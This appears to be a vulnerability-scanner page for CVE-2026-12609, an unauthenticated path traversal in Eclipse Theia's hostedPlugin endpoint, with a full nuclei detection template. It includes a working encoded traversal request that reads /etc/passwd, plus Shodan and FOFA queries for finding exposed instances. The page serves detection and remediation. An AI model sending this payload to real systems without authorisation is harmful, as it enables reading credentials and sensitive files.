Eclipse Theia - Unauthenticated Path Traversal

highseverity

7.5CVSS score

1.6%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

Eclipse Theia's plugin-ext backend exposes the hostedPlugin endpoint without constraining the resolved path to the plugin directory. An unauthenticated request using encoded traversal sequences can therefore read files accessible to the backend process. The built-in vscode_bat plugin identifier provides a deterministic anchor without target-specific setup.

Impact

An unauthenticated attacker can read arbitrary files accessible to the backend process, potentially exposing sensitive configuration, credentials, and system files.

Fix

Upgrade Eclipse Theia to the patched version.

How to confirm it

Send: GET /
Positive when: contains(body, "eclipse-theia")
Send: GET /hostedPlugin/vscode_bat/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Positive when: regex("root:.*:0:0:", body) and contains(content_type, "application/octet-stream") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-12609 -u <target>

The full check

id: CVE-2026-12609

info:
  name: Eclipse Theia - Unauthenticated Path Traversal
  author: str4k3r
  severity: high
  description: |
    Eclipse Theia's plugin-ext backend exposes the hostedPlugin endpoint without constraining the resolved path to the plugin directory. An unauthenticated request using encoded traversal sequences can therefore read files accessible to the backend process. The built-in vscode_bat plugin identifier provides a deterministic anchor without target-specific setup.
  impact: |
    An unauthenticated attacker can read arbitrary files accessible to the backend process, potentially exposing sensitive configuration, credentials, and system files.
  remediation: |
    Upgrade Eclipse Theia to the patched version.
  reference:
    - https://github.com/eclipse-theia/theia/security/advisories/GHSA-qmm6-p8q4-2g48
    - https://gitlab.eclipse.org/security/cve-assignment/-/work_items/133
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-12609
    epss-score: 0.01644
    epss-percentile: 0.76636
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: eclipse
    product: theia
    shodan-query: html:"eclipse-theia"
    fofa-query: body="eclipse-theia"
  tags: cve,cve2026,eclipse,theia,lfi,traversal,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "eclipse-theia")'
        internal: true

  - raw:
      - |
        GET /hostedPlugin/vscode_bat/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'regex("root:.*:0:0:", body)'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from